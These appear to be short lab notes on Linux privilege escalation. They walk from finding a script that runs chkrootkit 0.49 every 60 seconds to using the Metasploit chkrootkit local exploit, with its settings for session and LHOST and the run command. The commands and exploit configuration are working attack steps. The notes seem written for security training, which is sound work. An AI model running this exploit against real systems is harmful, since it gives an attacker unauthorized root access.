chkrootkit 0.49

ps aux

ps aux

• Investigate the /bin/check-down binary

cat /bin/check-down

    #!/bin/bash
    while :
    do
            /usr/local/bin/chkrootkit/chkrootkit -x > /dev/null 2>&1
            sleep 60
    done

cat /bin/check-down

📌 The /usr/local/bin/chkrootkit/chkrootkit binary is executed every 60 seconds.

• chkrootkit - locally checks for signs of a rootkit

Chkrootkit < 0.50 is vulnerable to local privilege escalation vulnerability

• Check chkrootkit version

chkrootkit -V
	chkrootkit version 0.49

• Background both the shell and the meterpreter session with CTRL+Z

#Privilege Escalation

• The technique will depend on the version of the target Linux Kernel and the distribution version.

  • It is necessary to manually enumerate a privesc vulnerable program, Chkrootkit v.0.49 in this case

search chkrootkit
use exploit/unix/local/chkrootkit
info
# Description:
#   Chkrootkit before 0.50 will run any executable file named 
#   /tmp/update as root, allowing a trivial privilege escalation. 
#   WfsDelay is set to 24h, since this is how often a chkrootkit scan is 
#   scheduled by default.
set CHKROOTKIT /bin/chkrootkit
set SESSION 2
set LHOST 192.15.244.2
sessions # check the used ports
run

exploit/unix/local/chkrootkit